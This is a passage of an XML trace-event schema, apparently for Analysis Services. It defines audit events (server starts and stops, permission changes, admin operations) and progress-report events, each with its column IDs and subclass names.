              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>4</ID>
          <NAME>Audit Server Starts And Stops</NAME>
          <DESCRIPTION>Records service shut down, start, and pause activities.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Instance Shutdown</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Instance Started</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Instance Paused</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>Instance Continued</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>18</ID>
          <NAME>Audit Object Permission Event</NAME>
          <DESCRIPTION>Records object permission changes.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>15</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>19</ID>
          <NAME>Audit Admin Operations Event</NAME>
          <DESCRIPTION>Records server backup/restore/synchronize/attach/detach/imageload/imagesave.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Backup</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Restore</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Synchronize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>Detach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>Attach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>ImageLoad</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>ImageSave</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>35</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

      </EVENTLIST>
    </EVENTCATEGORY>

    <EVENTCATEGORY>
      <NAME>Progress Reports</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of events for progress reporting.</DESCRIPTION>
      <EVENTLIST>

        <EVENT>
          <ID>5</ID>
          <NAME>Progress Report Begin</NAME>
          <DESCRIPTION>Progress report begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Process</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Merge</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Delete</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>DeleteOldAggregations</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>Rebuild</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>Commit</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>Rollback</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>CreateIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>9</ID>
                  <NAME>CreateTable</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10</ID>
                  <NAME>InsertInto</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>Transaction</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>Initialize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>Discretize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>Query</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>CreateView</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>16</ID>
                  <NAME>WriteData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>17</ID>
                  <NAME>ReadData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>18</ID>
                  <NAME>GroupData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>19</ID>
                  <NAME>GroupDataRecord</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>20</ID>
                  <NAME>BuildIndex</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>21</ID>
                  <NAME>Aggregate</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>22</ID>
                  <NAME>BuildDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>23</ID>
                  <NAME>WriteDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>24</ID>
                  <NAME>BuildDMDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>25</ID>
                  <NAME>ExecuteSQL</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>26</ID>
                  <NAME>ExecuteModifiedSQL</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>27</ID>
                  <NAME>Connecting</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>28</ID>
                  <NAME>BuildAggsAndIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>29</ID>
                  <NAME>MergeAggsOnDisk</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>30</ID>
                  <NAME>BuildIndexForRigidAggs</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>31</ID>
                  <NAME>BuildIndexForFlexibleAggs</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>32</ID>
                  <NAME>WriteAggsAndIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>33</ID>
                  <NAME>WriteSegment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>34</ID>
                  <NAME>DataMiningProgress</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>35</ID>
                  <NAME>ReadBufferFullReport</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>36</ID>
                  <NAME>ProactiveCacheConversion</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>37</ID>
                  <NAME>Backup</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>38</ID>
                  <NAME>Restore</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>39</ID>
                  <NAME>Synchronize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>40</ID>
                  <NAME>Build Processing Schedule</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>41</ID>
                  <NAME>Detach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>42</ID>
                  <NAME>Attach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>43</ID>
                  <NAME>Analyze\Encode Data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>44</ID>
                  <NAME>Compress Segment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>45</ID>
                  <NAME>Write Table Column</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>46</ID>
                  <NAME>Relationship Build Prepare</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>47</ID>
                  <NAME>Build Relationship Segment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>48</ID>
                  <NAME>Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>49</ID>
                  <NAME>Metadata Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>50</ID>
                  <NAME>Data Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>51</ID>
                  <NAME>Post Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>52</ID>
                  <NAME>Metadata traversal during Backup</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>53</ID>
                  <NAME>VertiPaq</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>54</ID>
                  <NAME>Hierarchy processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>55</ID>
                  <NAME>Switching dictionary</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>57</ID>
                  <NAME>Tabular transaction commit</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>58</ID>
                  <NAME>Sequence point</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>59</ID>
                  <NAME>Tabular object processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>60</ID>
                  <NAME>Saving database</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>61</ID>
                  <NAME>Tokenization store processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>63</ID>
                  <NAME>Check segment indexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>64</ID>
                  <NAME>Check tabular data structure</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>65</ID>
                  <NAME>Check column data for duplicates or null values</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>66</ID>
                  <NAME>Analyze refresh policy impact for tabular partition</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>15</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>6</ID>
          <NAME>Progress Report End</NAME>
          <DESCRIPTION>Progress report end.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Process</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Merge</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Delete</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>DeleteOldAggregations</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>Rebuild</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>Commit</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>Rollback</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>CreateIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>9</ID>
                  <NAME>CreateTable</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10</ID>
                  <NAME>InsertInto</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>Transaction</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>Initialize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>Discretize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>Query</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>CreateView</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>16</ID>
                  <NAME>WriteData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>17</ID>
                  <NAME>ReadData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>18</ID>
                  <NAME>GroupData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>19</ID>
                  <NAME>GroupDataRecord</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>20</ID>
                  <NAME>BuildIndex</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>21</ID>
                  <NAME>Aggregate</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>22</ID>
                  <NAME>BuildDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>23</ID>
                  <NAME>WriteDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>24</ID>
                  <NAME>BuildDMDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>25</ID>
                  <NAME>ExecuteSQL</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>26</ID>
                  <NAME>ExecuteModifiedSQL</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>27</ID>
                  <NAME>Connecting</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>28</ID>
                  <NAME>BuildAggsAndIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>29</ID>
                  <NAME>MergeAggsOnDisk</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>30</ID>
                  <NAME>BuildIndexForRigidAggs</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>31</ID>
                  <NAME>BuildIndexForFlexibleAggs</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>32</ID>
                  <NAME>WriteAggsAndIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>33</ID>
                  <NAME>WriteSegment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>34</ID>
                  <NAME>DataMiningProgress</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>35</ID>
                  <NAME>ReadBufferFullReport</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>36</ID>
                  <NAME>ProactiveCacheConversion</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>37</ID>
                  <NAME>Backup</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>38</ID>
                  <NAME>Restore</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>39</ID>
                  <NAME>Synchronize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>40</ID>
                  <NAME>Build Processing Schedule</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>41</ID>
                  <NAME>Detach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>42</ID>
                  <NAME>Attach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>43</ID>
                  <NAME>Analyze\Encode Data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>44</ID>
                  <NAME>Compress Segment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>45</ID>
                  <NAME>Write Table Column</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>46</ID>
                  <NAME>Relationship Build Prepare</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>47</ID>
                  <NAME>Build Relationship Segment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>48</ID>
                  <NAME>Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>49</ID>
                  <NAME>Metadata Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>50</ID>
                  <NAME>Data Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>51</ID>
                  <NAME>Post Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>52</ID>
                  <NAME>Metadata traversal during Backup</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>53</ID>
                  <NAME>VertiPaq</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>54</ID>
                  <NAME>Hierarchy processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>55</ID>
                  <NAME>Switching dictionary</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>57</ID>
                  <NAME>Tabular transaction commit</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>58</ID>
                  <NAME>Sequence point</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>59</ID>
                  <NAME>Tabular object processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>60</ID>
                  <NAME>Saving database</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>61</ID>
                  <NAME>Tokenization store processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>63</ID>
                  <NAME>Check segment indexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>64</ID>
                  <NAME>Check tabular data structure</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>65</ID>
                  <NAME>Check column data for duplicates or null values</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>66</ID>
                  <NAME>Analyze refresh policy impact for tabular partition</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
